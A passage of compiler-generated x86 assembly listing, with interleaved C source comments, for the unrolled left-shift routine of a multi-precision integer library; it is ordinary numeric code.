; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 319 : if (padding_zero)
je $LN19@LeftShift_
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 118 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov edi, eax
mov ecx, edx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 441 : }
xor eax, eax
rep stosd
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0
$LN4@LeftShift_:
; 320 : _ZERO_MEMORY_UNIT(op, n_word_count);
; 321 : }
; 322 : else
; 323 : {
; 324 : __UNIT_TYPE n_rshift_bit_count = __UNIT_TYPE_BIT_COUNT - n_lshift_bit_count;
; 325 : pp += p_count - 1;
mov eax, DWORD PTR _p$[ebp]
mov edx, 32 ; 00000020H
; 326 : op += p_count + n_word_count;
mov esi, DWORD PTR _o$[ebp]
sub edx, edi
push ebx
lea ebx, DWORD PTR [eax+ecx*4]
mov DWORD PTR _n_rshift_bit_count$1$[ebp], edx
mov eax, DWORD PTR _n_word_count$1$[ebp]
add eax, ecx
; 327 : p_count -= 1;
dec ecx
mov DWORD PTR _p_count$1$[ebp], ecx
; 328 : __UNIT_TYPE temp = *pp;
; 329 : __UNIT_TYPE work = temp >> n_rshift_bit_count;
mov ecx, edx
lea eax, DWORD PTR [esi+eax*4]
mov esi, DWORD PTR [ebx-4]
mov edx, esi
mov DWORD PTR _work$62$[ebp], esi
shr edx, cl
; 330 : if (work != 0)
test edx, edx
je SHORT $LN7@LeftShift_
; 331 : *op = work;
mov DWORD PTR [eax], edx
$LN7@LeftShift_:
; 332 : --pp;
; 333 : --op;
; 334 :
; 335 : __UNIT_TYPE count = p_count >> 5;
mov ecx, DWORD PTR _p_count$1$[ebp]
sub ebx, 8
mov edx, ecx
sub eax, 4
shr edx, 5
mov DWORD PTR _count$1$[ebp], edx
; 336 : while (count != 0)
test edx, edx
je $LN3@LeftShift_
npad 4
$LL2@LeftShift_:
; 337 : {
; 338 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], esi
mov esi, DWORD PTR [ebx]
mov edx, esi
shr edx, cl
; 339 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 340 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 341 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 342 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 343 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 344 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 345 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-24], edx
mov edi, DWORD PTR [ebx-28]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 346 : work = temp << n_lshift_bit_count; temp = pp[-8]; work |= temp >> n_rshift_bit_count; op[-8] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
mov esi, DWORD PTR [ebx-32]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 347 : work = temp << n_lshift_bit_count; temp = pp[-9]; work |= temp >> n_rshift_bit_count; op[-9] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-32], edx
mov edi, DWORD PTR [ebx-36]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov DWORD PTR [eax-36], edx
; 348 : work = temp << n_lshift_bit_count; temp = pp[-10]; work |= temp >> n_rshift_bit_count; op[-10] = work;
mov esi, DWORD PTR [ebx-40]
mov edx, esi
mov ecx, DWORD PTR _n$[ebp]
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 349 : work = temp << n_lshift_bit_count; temp = pp[-11]; work |= temp >> n_rshift_bit_count; op[-11] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-40], edx
mov edi, DWORD PTR [ebx-44]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 350 : work = temp << n_lshift_bit_count; temp = pp[-12]; work |= temp >> n_rshift_bit_count; op[-12] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-44], edx
mov esi, DWORD PTR [ebx-48]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 351 : work = temp << n_lshift_bit_count; temp = pp[-13]; work |= temp >> n_rshift_bit_count; op[-13] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-48], edx
mov edi, DWORD PTR [ebx-52]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 352 : work = temp << n_lshift_bit_count; temp = pp[-14]; work |= temp >> n_rshift_bit_count; op[-14] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-52], edx
mov esi, DWORD PTR [ebx-56]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 353 : work = temp << n_lshift_bit_count; temp = pp[-15]; work |= temp >> n_rshift_bit_count; op[-15] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-56], edx
mov edi, DWORD PTR [ebx-60]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 354 : work = temp << n_lshift_bit_count; temp = pp[-16]; work |= temp >> n_rshift_bit_count; op[-16] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-60], edx
mov esi, DWORD PTR [ebx-64]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 355 : work = temp << n_lshift_bit_count; temp = pp[-17]; work |= temp >> n_rshift_bit_count; op[-17] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-64], edx
mov edi, DWORD PTR [ebx-68]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 356 : work = temp << n_lshift_bit_count; temp = pp[-18]; work |= temp >> n_rshift_bit_count; op[-18] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-68], edx
mov esi, DWORD PTR [ebx-72]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 357 : work = temp << n_lshift_bit_count; temp = pp[-19]; work |= temp >> n_rshift_bit_count; op[-19] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-72], edx
mov edi, DWORD PTR [ebx-76]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 358 : work = temp << n_lshift_bit_count; temp = pp[-20]; work |= temp >> n_rshift_bit_count; op[-20] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-76], edx
mov esi, DWORD PTR [ebx-80]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 359 : work = temp << n_lshift_bit_count; temp = pp[-21]; work |= temp >> n_rshift_bit_count; op[-21] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-80], edx
mov edi, DWORD PTR [ebx-84]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 360 : work = temp << n_lshift_bit_count; temp = pp[-22]; work |= temp >> n_rshift_bit_count; op[-22] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-84], edx
mov esi, DWORD PTR [ebx-88]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 361 : work = temp << n_lshift_bit_count; temp = pp[-23]; work |= temp >> n_rshift_bit_count; op[-23] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-88], edx
mov edi, DWORD PTR [ebx-92]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 362 : work = temp << n_lshift_bit_count; temp = pp[-24]; work |= temp >> n_rshift_bit_count; op[-24] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-92], edx
mov esi, DWORD PTR [ebx-96]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 363 : work = temp << n_lshift_bit_count; temp = pp[-25]; work |= temp >> n_rshift_bit_count; op[-25] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-96], edx
mov edi, DWORD PTR [ebx-100]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 364 : work = temp << n_lshift_bit_count; temp = pp[-26]; work |= temp >> n_rshift_bit_count; op[-26] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-100], edx
mov esi, DWORD PTR [ebx-104]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 365 : work = temp << n_lshift_bit_count; temp = pp[-27]; work |= temp >> n_rshift_bit_count; op[-27] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-104], edx
mov edi, DWORD PTR [ebx-108]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 366 : work = temp << n_lshift_bit_count; temp = pp[-28]; work |= temp >> n_rshift_bit_count; op[-28] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-108], edx
mov esi, DWORD PTR [ebx-112]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 367 : work = temp << n_lshift_bit_count; temp = pp[-29]; work |= temp >> n_rshift_bit_count; op[-29] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-112], edx
mov edi, DWORD PTR [ebx-116]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 368 : work = temp << n_lshift_bit_count; temp = pp[-30]; work |= temp >> n_rshift_bit_count; op[-30] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-116], edx
shl edi, cl
mov esi, DWORD PTR [ebx-120]
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 369 : work = temp << n_lshift_bit_count; temp = pp[-31]; work |= temp >> n_rshift_bit_count; op[-31] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-120], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-124]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 370 : pp -= 32;
add ebx, -128 ; ffffff80H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov esi, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax-124], edx
; 371 : op -= 32;
add eax, -128 ; ffffff80H
; 372 : --count;
sub DWORD PTR _count$1$[ebp], 1
jne $LL2@LeftShift_
mov ecx, DWORD PTR _p_count$1$[ebp]
$LN3@LeftShift_:
; 373 : }
; 374 :
; 375 : if (p_count & 0x10)
test cl, 16 ; 00000010H
je $LN8@LeftShift_
; 376 : {
; 377 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], esi
mov esi, DWORD PTR [ebx]
mov edx, esi
shr edx, cl
; 378 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
; 379 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 380 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 381 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 382 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 383 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 384 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-24], edx
mov edi, DWORD PTR [ebx-28]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 385 : work = temp << n_lshift_bit_count; temp = pp[-8]; work |= temp >> n_rshift_bit_count; op[-8] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
mov esi, DWORD PTR [ebx-32]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 386 : work = temp << n_lshift_bit_count; temp = pp[-9]; work |= temp >> n_rshift_bit_count; op[-9] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-32], edx
mov edi, DWORD PTR [ebx-36]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, esi
mov DWORD PTR [eax-36], edx
; 387 : work = temp << n_lshift_bit_count; temp = pp[-10]; work |= temp >> n_rshift_bit_count; op[-10] = work;
mov esi, DWORD PTR [ebx-40]
mov edx, esi
mov ecx, DWORD PTR _n$[ebp]
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 388 : work = temp << n_lshift_bit_count; temp = pp[-11]; work |= temp >> n_rshift_bit_count; op[-11] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-40], edx
mov edi, DWORD PTR [ebx-44]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 389 : work = temp << n_lshift_bit_count; temp = pp[-12]; work |= temp >> n_rshift_bit_count; op[-12] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-44], edx
mov esi, DWORD PTR [ebx-48]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 390 : work = temp << n_lshift_bit_count; temp = pp[-13]; work |= temp >> n_rshift_bit_count; op[-13] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-48], edx
mov edi, DWORD PTR [ebx-52]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 391 : work = temp << n_lshift_bit_count; temp = pp[-14]; work |= temp >> n_rshift_bit_count; op[-14] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-52], edx
mov esi, DWORD PTR [ebx-56]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 392 : work = temp << n_lshift_bit_count; temp = pp[-15]; work |= temp >> n_rshift_bit_count; op[-15] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-56], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-60]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 393 : pp -= 16;
sub ebx, 64 ; 00000040H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-60], edx
; 394 : op -= 16;
sub eax, 64 ; 00000040H
$LN8@LeftShift_:
; 395 : }
; 396 :
; 397 : if (p_count & 0x8)
test cl, 8
je $LN9@LeftShift_
; 398 : {
; 399 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 400 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 401 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 402 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-8], edx
mov edi, DWORD PTR [ebx-12]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 403 : work = temp << n_lshift_bit_count; temp = pp[-4]; work |= temp >> n_rshift_bit_count; op[-4] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
mov esi, DWORD PTR [ebx-16]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 404 : work = temp << n_lshift_bit_count; temp = pp[-5]; work |= temp >> n_rshift_bit_count; op[-5] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, edi
mov DWORD PTR [eax-16], edx
mov edi, DWORD PTR [ebx-20]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 405 : work = temp << n_lshift_bit_count; temp = pp[-6]; work |= temp >> n_rshift_bit_count; op[-6] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-20], edx
mov esi, DWORD PTR [ebx-24]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 406 : work = temp << n_lshift_bit_count; temp = pp[-7]; work |= temp >> n_rshift_bit_count; op[-7] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-24], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-28]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 407 : pp -= 8;
sub ebx, 32 ; 00000020H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-28], edx
; 408 : op -= 8;
sub eax, 32 ; 00000020H
$LN9@LeftShift_:
; 409 : }
; 410 :
; 411 : if (p_count & 0x4)
test cl, 4
je SHORT $LN10@LeftShift_
; 412 : {
; 413 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 414 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
mov edi, DWORD PTR [ebx-4]
mov edx, edi
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 415 : work = temp << n_lshift_bit_count; temp = pp[-2]; work |= temp >> n_rshift_bit_count; op[-2] = work;
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
mov esi, DWORD PTR [ebx-8]
mov edx, esi
shl edi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
or edx, edi
; 416 : work = temp << n_lshift_bit_count; temp = pp[-3]; work |= temp >> n_rshift_bit_count; op[-3] = work;
mov edi, DWORD PTR _n$[ebp]
mov DWORD PTR [eax-8], edx
mov ecx, edi
shl esi, cl
mov ecx, DWORD PTR [ebx-12]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 417 : pp -= 4;
sub ebx, 16 ; 00000010H
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-12], edx
; 418 : op -= 4;
sub eax, 16 ; 00000010H
$LN10@LeftShift_:
; 419 : }
; 420 :
; 421 : if (p_count & 0x2)
test cl, 2
je SHORT $LN11@LeftShift_
; 422 : {
; 423 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR [ebx]
mov ecx, edi
shl DWORD PTR _work$62$[ebp], cl
mov edx, esi
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
; 424 : work = temp << n_lshift_bit_count; temp = pp[-1]; work |= temp >> n_rshift_bit_count; op[-1] = work;
mov ecx, edi
or edx, DWORD PTR _work$62$[ebp]
mov DWORD PTR [eax], edx
shl esi, cl
mov ecx, DWORD PTR [ebx-4]
mov edx, ecx
mov DWORD PTR _work$62$[ebp], ecx
; 425 : pp -= 2;
sub ebx, 8
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
shr edx, cl
mov ecx, DWORD PTR _p_count$1$[ebp]
or edx, esi
mov DWORD PTR [eax-4], edx
; 426 : op -= 2;
sub eax, 8
$LN11@LeftShift_:
; 427 : }
; 428 :
; 429 : if (p_count & 0x1)
test cl, 1
je SHORT $LN12@LeftShift_
; 430 : {
; 431 : work = temp << n_lshift_bit_count; temp = pp[-0]; work |= temp >> n_rshift_bit_count; op[-0] = work;
mov esi, DWORD PTR _work$62$[ebp]
mov ecx, edi
mov edx, DWORD PTR [ebx]
shl esi, cl
mov ecx, DWORD PTR _n_rshift_bit_count$1$[ebp]
mov DWORD PTR _work$62$[ebp], edx
shr edx, cl
or edx, esi
mov DWORD PTR [eax], edx
; 432 : pp -= 1;
; 433 : op -= 1;
sub eax, 4
$LN12@LeftShift_:
; 434 : }
; 435 : work = temp << n_lshift_bit_count;
mov edx, DWORD PTR _work$62$[ebp]
mov ecx, edi
shl edx, cl
; 436 : *op = work;
; 437 :
; 438 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
mov DWORD PTR [eax], edx
pop ebx
je SHORT $LN19@LeftShift_
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 118 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov edi, DWORD PTR _o$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 441 : }
xor eax, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 118 : __stosd((unsigned long*)d, 0, (unsigned long)count);
mov ecx, DWORD PTR _n_word_count$1$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 441 : }
rep stosd
$LN19@LeftShift_:
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0
_LeftShift_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _LeftShift_Imp_DIV
_TEXT SEGMENT
_n_word_count$1$ = -12 ; size = 4
_count$1$ = -8 ; size = 4
_n_rshift_bit_count$1$ = -4 ; size = 4
_p_count$1$ = 8 ; size = 4
_p$ = 8 ; size = 4
_work$62$ = 12 ; size = 4
